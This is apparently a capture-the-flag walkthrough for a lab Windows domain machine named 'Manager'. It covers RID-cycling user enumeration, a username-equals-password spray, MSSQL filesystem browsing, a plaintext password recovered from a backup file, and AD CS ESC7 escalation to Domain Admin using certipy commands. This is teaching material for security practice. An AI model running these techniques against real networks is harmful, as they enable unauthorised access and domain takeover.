Manager
Manager
Difficulty: Medium
Synopsis
Manager is a medium difficulty Windows machine which hosts an Active Directory environment
with AD CS (Active Directory Certificate Services), a web server, and an SQL server. The foothold
involves enumerating users using RID cycling and performing a password spray attack to gain
access to the MSSQL service. The xp_dirtree procedure is then used to explore the filesystem,
uncovering a website backup in the web-root. Extracting the backup reveals credentials that are
reused to WinRM to the server. Finally, the attacker escalates privileges through AD CS via ESC7
exploitation.
Skills required
Windows Fundamentals
SMB Enumeration
Skills learned
AD CS enumeration
ESC7 exploitation
Enumeration
Nmap
Let's run an Nmap scan to discover any open ports on the remote host.
nmap -p- --min-rate=1000 -sV 10.10.11.236
After conducting an initial Nmap scan, it unveils several crucial ports, including those typical for
domain controller operations, a web server operating on port 80 , an SMB service on port 445 ,
and an SQL server running on port 1433 .
We also note that the domain name is manager.htb . Thus, let's add an entry for manager.htb in
our /etc/hosts file with the corresponding IP address to resolve the domain name.
HTTP
Upon browsing to port 80 , we can see a static website which doesn't seem to have much
functionality.
SMB
Now, let's proceed with enumerating the SMB shares. We'll utilize the smbclient tool to list all
shares by employing a null session, as we do not have the credentials.
smbclient -L \\\\10.10.11.236\\ -N
Generally, when we're allowed to list shares with a null session, we can also leverage it to perform
RID cycling and enumerate users on the box.
RID cycling is a method used to enumerate users on a Windows system when the ability to
list shares with a null session is permitted. It involves sequentially querying Security
Identifiers (SIDs) by incrementing the Relative Identifier (RID) portion. Since RIDs are assigned
sequentially to users and groups in Windows, this technique can reveal valid user accounts.
By combining RID cycling with null session access to share listings, an attacker can gather
information about existing users on the system, aiding further exploitation efforts.
We can use the lookupsid module of the Impacket library to perform RID cycling to enumerate
the users on the box.
We filter out the SidTypeUser entries and add them to a file named usernames.txt .
cat usernames.txt
administrator
zhong
cheng
ryan
raven
jinWoo
chinHae
operator
It's common practice for users to set passwords identical to their usernames. Therefore, let's
attempt a password spray attack using the traditional username = password combination. We can
employ the netexec (formerly known as crackmapexec ) utility to attempt SMB authentication
against the target, using the same file usernames.txt containing the username list for both the
username and password wordlist parameters.
SMB 10.10.11.236 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01)
(domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.236 445 DC01 [-] manager.htb\administrator:administrator
STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\zhong:zhong
STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\cheng:cheng
STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\ryan:ryan
STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\raven:raven
STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\jinWoo:jinWoo
STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [-] manager.htb\chinHae:chinHae
STATUS_LOGON_FAILURE
SMB 10.10.11.236 445 DC01 [+] manager.htb\operator:operator
We've acquired the password operator for the user account named operator .
Foothold
Let's attempt to access the MSSQL Server, as there may be some level of access to the filesystem
available. We can achieve this using the mssqlclient module from the Impacket library.
We can use the xp_dirtree procedure to traverse the filesystem and list folders.
wget http://10.10.11.236/website-backup-27-07-23-old.zip
Upon unzipping the the backup file, we can see a hidden file .old-conf.xml .
total 1092
drwxr-xr-x 5 root root 4096 Mar 13 20:38 .
drwxrwxrwt 28 root root 4096 Mar 13 20:38 ..
-rw-r--r-- 1 root root 698 Jul 27 2023 .old-conf.xml
-rw-r--r-- 1 root root 5386 Jul 27 2023 about.html
-rw-r--r-- 1 root root 5317 Jul 27 2023 contact.html
drwxr-xr-x 2 root root 4096 Mar 13 20:38 css
drwxr-xr-x 2 root root 4096 Mar 13 20:38 images
-rw-r--r-- 1 root root 18203 Jul 27 2023 index.html
drwxr-xr-x 2 root root 4096 Mar 13 20:38 js
-rw-r--r-- 1 root root 7900 Jul 27 2023 service.html
The .old-conf.xml file reveals the password `R4v3nBe5tD3veloP3r!123 for the user Raven .
cat .old-conf.xml
<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<server>
<host>dc01.manager.htb</host>
<open-port enabled="true">389</open-port>
<secure-port enabled="false">0</secure-port>
<search-base>dc=manager,dc=htb</search-base>
<server-type>microsoft</server-type>
<access-user>
<user>[email protected]</user>
<password>R4v3nBe5tD3veloP3r!123</password>
</access-user>
<uid-attribute>cn</uid-attribute>
</server>
<search type="full">
<dir-list>
<dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir>
</dir-list>
</search>
</ldap-conf>
We use the obtained credentials to connect to the WinRM service running on the target.
type c:\users\raven\desktop\user.txt
Privilege Escalation
We'll attempt to identify potential misconfigurations within the Certification Authority. Let's utilize
certipy to find any vulnerabilities that may exist.
The report indicates that the user Raven possesses hazardous permissions, particularly having
"ManageCA" rights over the Certification Authority. This implies that by leveraging the ESC7
scenario, we could potentially elevate our privileges to Domain Admin while operating as user
Raven. A detailed explaination about the exploitation process for the ESC7 scenario can be found
here.
To exploit this, we'll need to first add Raven as an "officer", so that we can manage certificates and
issue them manually.
The enabled certificate templates can be listed using the -list-templates flag.
The prerequisites for the attack are now fulfilled. We have Manage Certificates permission,
granted through ManageCA , and have ensured that the SubCA template is enabled.
Now let us request a certificate based on the SubCA template. This request will be denied, but we
will obtain a request ID and a private key, which we save to a file.
We note that the certificate request ID is 13. Let us now use our obtained permissions to manually
issue the failed certificate with the ca command and the -issue-request <request ID>
parameter.
certipy-ad ca -u [email protected] -p 'R4v3nBe5tD3veloP3r!123' -dc-ip
10.10.11.236 -ca manager-dc01-ca -issue-request 13
If at this stage you get a [-] Got access denied trying to issue certificate error, re-
run the command where we added Raven as a manager. The box's cleanup scripts will likely
have restored the initial permissions.
Finally, we retrieve the issued certificate with the req command and the -retrieve <request
ID> parameter.
With the administrator's PFX file in our possession, we can now utilize it for authentication. Upon
running the auth command, we encounter the error "KRB_AP_ERR_SKEW (Clock skew too great)".
The "KRB_AP_ERR_SKEW" error occurs when there is a significant time difference between the
client and the KDC servers, impacting the Kerberos authentication process. Resolving this issue
involves synchronizing our machine's clock with the server's.
To do so, we need to disable the "Automatic Date & Time" setting in our machine's settings and
run the following command to synchronize our clock:
We leverage the administrator's hash to gain access using Evil-WinRM and retrieve the root flag
from the system.
type c:\users\administrator\desktop\root.txt